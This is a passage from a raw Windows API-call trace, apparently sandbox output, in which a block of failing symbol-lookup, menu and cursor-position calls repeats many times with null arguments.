0x579 [0185.493] SetLastError (dwErrCode=0x579) [0185.493] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.493] SymCleanup (hProcess=0x0) returned 0 [0185.493] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.493] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.493] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.493] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.493] GetLastError () returned 0x579 [0185.493] SetLastError (dwErrCode=0x579) [0185.493] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.493] SymCleanup (hProcess=0x0) returned 0 [0185.493] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.493] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.493] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.493] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.493] GetLastError () returned 0x579 [0185.493] SetLastError (dwErrCode=0x579) [0185.493] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.493] SymCleanup (hProcess=0x0) returned 0 [0185.493] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.493] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.493] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.494] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.494] GetLastError () returned 0x579 [0185.494] SetLastError (dwErrCode=0x579) [0185.494] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.494] SymCleanup (hProcess=0x0) returned 0 [0185.494] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.494] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.494] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.494] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.494] GetLastError () returned 0x579 [0185.494] SetLastError (dwErrCode=0x579) [0185.494] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.494] SymCleanup (hProcess=0x0) returned 0 [0185.494] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.494] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.494] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.494] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1391, param_4=891, param_5=0x0, param_6=0x0) returned 0 [0185.494] GetLastError () returned 0x579 [0185.494] SetLastError (dwErrCode=0x579) [0185.494] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.494] SymCleanup (hProcess=0x0) returned 0 [0185.494] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.494] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.494] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.495] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.495] GetLastError () returned 0x579 [0185.495] SetLastError (dwErrCode=0x579) [0185.495] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.495] SymCleanup (hProcess=0x0) returned 0 [0185.495] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.495] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.495] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.495] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.495] GetLastError () returned 0x579 [0185.495] SetLastError (dwErrCode=0x579) [0185.495] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.495] SymCleanup (hProcess=0x0) returned 0 [0185.495] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.495] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.495] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.495] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.495] GetLastError () returned 0x579 [0185.495] SetLastError (dwErrCode=0x579) [0185.495] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.495] SymCleanup (hProcess=0x0) returned 0 [0185.495] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.495] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.495] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.496] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.496] GetLastError () returned 0x579 [0185.496] SetLastError (dwErrCode=0x579) [0185.496] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.496] SymCleanup (hProcess=0x0) returned 0 [0185.496] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.496] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.496] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.496] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=921, param_4=9, param_5=0x0, param_6=0x0) returned 0 [0185.496] GetLastError () returned 0x579 [0185.496] SetLastError (dwErrCode=0x579) [0185.496] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.496] SymCleanup (hProcess=0x0) returned 0 [0185.496] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.496] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.496] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.496] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.496] GetLastError () returned 0x579 [0185.496] SetLastError (dwErrCode=0x579) [0185.496] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.496] SymCleanup (hProcess=0x0) returned 0 [0185.496] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.496] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.496] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.497] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.497] GetLastError () returned 0x579 [0185.497] SetLastError (dwErrCode=0x579) [0185.497] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.497] SymCleanup (hProcess=0x0) returned 0 [0185.497] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.497] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.497] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.497] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.497] GetLastError () returned 0x579 [0185.497] SetLastError (dwErrCode=0x579) [0185.497] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.497] SymCleanup (hProcess=0x0) returned 0 [0185.497] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.497] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.497] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.497] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.497] GetLastError () returned 0x579 [0185.497] SetLastError (dwErrCode=0x579) [0185.497] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.497] SymCleanup (hProcess=0x0) returned 0 [0185.497] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.497] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.497] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.497] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=753, param_4=663, param_5=0x0, param_6=0x0) returned 0 [0185.498] GetLastError () returned 0x579 [0185.498] SetLastError (dwErrCode=0x579) [0185.498] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.498] SymCleanup (hProcess=0x0) returned 0 [0185.498] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.498] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.498] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.498] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.498] GetLastError () returned 0x579 [0185.498] SetLastError (dwErrCode=0x579) [0185.498] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.498] SymCleanup (hProcess=0x0) returned 0 [0185.498] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.498] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.498] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.498] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.498] GetLastError () returned 0x579 [0185.498] SetLastError (dwErrCode=0x579) [0185.498] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.498] SymCleanup (hProcess=0x0) returned 0 [0185.498] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.498] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.498] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.498] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.499] GetLastError () returned 0x579 [0185.499] SetLastError (dwErrCode=0x579) [0185.499] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.499] SymCleanup (hProcess=0x0) returned 0 [0185.499] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.499] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.499] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.499] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.499] GetLastError () returned 0x579 [0185.499] SetLastError (dwErrCode=0x579) [0185.499] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.499] SymCleanup (hProcess=0x0) returned 0 [0185.499] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.499] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.499] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.499] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=562, param_4=239, param_5=0x0, param_6=0x0) returned 0 [0185.499] GetLastError () returned 0x579 [0185.499] SetLastError (dwErrCode=0x579) [0185.499] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.499] SymCleanup (hProcess=0x0) returned 0 [0185.499] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.499] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.499] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.499] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.500] GetLastError () returned 0x579 [0185.500] SetLastError (dwErrCode=0x579) [0185.500] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.500] SymCleanup (hProcess=0x0) returned 0 [0185.500] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.500] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.500] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.500] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.500] GetLastError () returned 0x579 [0185.500] SetLastError (dwErrCode=0x579) [0185.500] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.500] SymCleanup (hProcess=0x0) returned 0 [0185.500] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.500] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.500] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.500] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.500] GetLastError () returned 0x579 [0185.500] SetLastError (dwErrCode=0x579) [0185.500] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.500] SymCleanup (hProcess=0x0) returned 0 [0185.500] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.500] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.500] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.500] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.501] GetLastError () returned 0x579 [0185.501] SetLastError (dwErrCode=0x579) [0185.501] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.501] SymCleanup (hProcess=0x0) returned 0 [0185.501] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.501] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.501] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.501] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=420, param_4=326, param_5=0x0, param_6=0x0) returned 0 [0185.501] GetLastError () returned 0x579 [0185.501] SetLastError (dwErrCode=0x579) [0185.501] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.501] SymCleanup (hProcess=0x0) returned 0 [0185.501] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.501] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.501] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.501] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.501] GetLastError () returned 0x579 [0185.501] SetLastError (dwErrCode=0x579) [0185.501] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.501] SymCleanup (hProcess=0x0) returned 0 [0185.501] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.501] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.501] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.501] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.501] GetLastError () returned 0x579 [0185.502] SetLastError (dwErrCode=0x579) [0185.502] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.502] SymCleanup (hProcess=0x0) returned 0 [0185.502] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.502] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.502] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.502] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.502] GetLastError () returned 0x579 [0185.502] SetLastError (dwErrCode=0x579) [0185.502] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.502] SymCleanup (hProcess=0x0) returned 0 [0185.502] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.502] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.502] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.502] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.502] GetLastError () returned 0x579 [0185.502] SetLastError (dwErrCode=0x579) [0185.502] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.502] SymCleanup (hProcess=0x0) returned 0 [0185.502] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.502] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.502] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.502] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=172, param_4=857, param_5=0x0, param_6=0x0) returned 0 [0185.502] GetLastError () returned 0x579 [0185.503] SetLastError (dwErrCode=0x579) [0185.503] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.503] SymCleanup (hProcess=0x0) returned 0 [0185.503] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.503] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.503] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.503] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.503] GetLastError () returned 0x579 [0185.503] SetLastError (dwErrCode=0x579) [0185.503] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.503] SymCleanup (hProcess=0x0) returned 0 [0185.503] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.503] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.503] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.503] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.503] GetLastError () returned 0x579 [0185.503] SetLastError (dwErrCode=0x579) [0185.503] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.503] SymCleanup (hProcess=0x0) returned 0 [0185.503] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.503] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.503] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.503] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.503] GetLastError () returned 0x579 [0185.503] SetLastError (dwErrCode=0x579) [0185.504] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.504] SymCleanup (hProcess=0x0) returned 0 [0185.504] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.504] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.504] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.504] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.504] GetLastError () returned 0x579 [0185.504] SetLastError (dwErrCode=0x579) [0185.504] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.504] SymCleanup (hProcess=0x0) returned 0 [0185.504] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.504] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.504] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.504] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=800, param_4=196, param_5=0x0, param_6=0x0) returned 0 [0185.504] GetLastError () returned 0x579 [0185.504] SetLastError (dwErrCode=0x579) [0185.505] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.505] SymCleanup (hProcess=0x0) returned 0 